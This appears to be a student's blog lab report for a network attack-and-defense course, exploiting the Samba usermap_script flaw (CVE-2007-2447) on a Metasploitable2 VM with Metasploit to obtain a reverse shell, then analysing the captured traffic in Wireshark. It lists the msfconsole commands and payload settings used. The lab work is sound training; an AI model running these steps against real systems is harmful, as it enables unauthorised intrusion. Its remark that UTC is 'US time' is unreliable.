20251910 2025-2026-2 《网络攻防实践》第7次作业

20251910 2025-2026-2 《网络攻防实践》实践第7次作业

1.实践内容

1.1实践要求

  • (1)使用Metasploit进行Linux远程渗透攻击

-任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:

①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;

②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;

③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);

④设置渗透攻击参数(RHOST,LHOST,TARGET等);

⑤执行渗透攻击;

⑥查看是否正确得到远程Shell,并查看获得的权限。

  • (2)实践作业:攻防对抗实践

攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。

防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

1.2 相关知识

  • SMB协议是什么?
    SMB(Server Message Block,服务器消息块)是一种应用层网络协议,主要用于在计算机之间共享文件、打印机和串行端口,并提供认证的进程间通信。它最早由 IBM 开发,后被微软广泛采用和扩展,是 Windows 网络中文件与打印共享的核心协议,别称 CIFS(通用互联网文件系统)。

  • Samba是什么服务?
    Samba 是一个在 Linux/Unix 系统上免费开源的软件套件,它实现了 SMB/CIFS 协议,使得非 Windows 系统能够作为文件与打印服务器无缝加入 Windows 网络,提供跨平台的文件共享、打印机共享以及域控制器等功能。

2.实践过程

2.1任务要求及实践思路

2.1.1 使用Metasploit进行Linux远程渗透攻击

任务要求

-任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。

实践环境

主机名称 IP地址
Metasploitable2 192.168.200.9
kali 192.168.200.5

实践思路

  • (1)在kali上打开msfconsole构造攻击程序,选择要使用的漏洞和载荷,设置主机和目的地址后运行
  • (2)获取靶机的控制台权限后,执行指令验证

2.1.2 团队对抗实践:系统远程渗透攻击和分析

任务要求

攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。

防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

实践环境

主机名称 IP地址
Metasploitable2 192.168.200.9
kali 192.168.200.5

实践思路

  • (1)在kali上打开msfconsole构造攻击程序,选择要使用的漏洞和载荷,设置主机和目的地址后运行
  • (2)获取靶机的控制台权限后,执行指令验证,并留下可验证的文件
  • (3)利用wireshark分析攻击流程

2.2 使用Metasploit进行Linux远程渗透攻击

测试攻击机与靶机之间的连通性

image

在kali中打开msfconsole,在root模式命令如下:

msfconsole

image

查找要使用的samba漏洞对应的模块,输入指令可以看到对应编号是15。在root模式命令如下:

search samba

image

在kali中选择使用该漏洞,并查看该漏洞适用的系统范围。如图所示,我们要攻击的靶机Metasploitable在适用范围内。在root模式命令如下:

use 15
info 15

image

输入以下指令,我们可以看到使用此漏洞需要设置的参数,大部分已经有了初始默认设置。

show options

image

可以查看构造攻击命令可以使用的载荷,我们选择反弹shell。并设置发起攻击的主机以及靶机地址。在root模式命令如下:

show payloads   #查看可用的载荷
set payload cmd/unix/reverse  #选择攻击载荷
set RHOST 192.168.200.9 #设置要攻击的主机
set LHOST 192.168.200.5  #设置本机

image

使用刚才的设置进行攻击,攻击成功并能调用Metasploit的命令行进行操作。在root模式命令如下:

run   #进行攻击
ifconfig   #攻击成功后查看靶机ip地址

image

2.3 团队对抗实践:系统远程渗透攻击和分析

攻击机kali ip地址:192.168.200.5(王熙)
靶机Metasploitable2 ip地址: 192.168.200.9 (施为乐)

我们依然利用 Samba 服务漏洞 CVE-2007-2447——smbd 中 username map script 选项对用户名过滤不严导致的远程命令注入,专注于漏洞原理分析;通过 msfconsole 加载 exploit/multi/samba/usermap_script 模块,配置回连地址与端口,发送包含 Shell 元字符的恶意用户名触发命令执行并建立反向 Shell;获取会话后,进行信息收集,并留下可验证的文件。

image

设置完成后开启服务

image

获取权限执行操作

image

在监听的wireshark中进行分析

攻击者的IP:192.168.200.5

image

目标端口:36947、4444 攻击使用的漏洞为Samba服务的漏洞
开始时攻击者使用36947端口对139端口进行攻击,后续使用4444端口进行持久化连接。139 端口是为“NetBIOS Session Service” 提供的, 主要用于提供Windows 文件和打印机共享以及 Unix 中的 Samba 服务。Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。在这里的攻击利用了Samba服务的漏洞

image

攻击发起时间:查看第一个数据包到达的时间,可以观察到攻击发起时间
image

使用Shellcode、以及成功之后在命令行输入的信息。追踪建立连接后的TCP流,可以观察到攻击者的信息和创建的文件。

image

3.学习中遇到的问题及解决

  • 问题1:分析攻击者时间时发现与自己的系统时间对不上
  • 问题1解决方案:经查询之后UTC时间为美国时间,换算后与本机时间无误

4.实践总结

这次实验让我明白了Windows系统和Linux系统在操作方式之外,在安全性和漏洞方面的一些差别,让我对网络攻防的执行条件有了更深的理解。

posted @ 2026-05-09 21:43  柒熠染云  阅读(9)  评论(0)    收藏  举报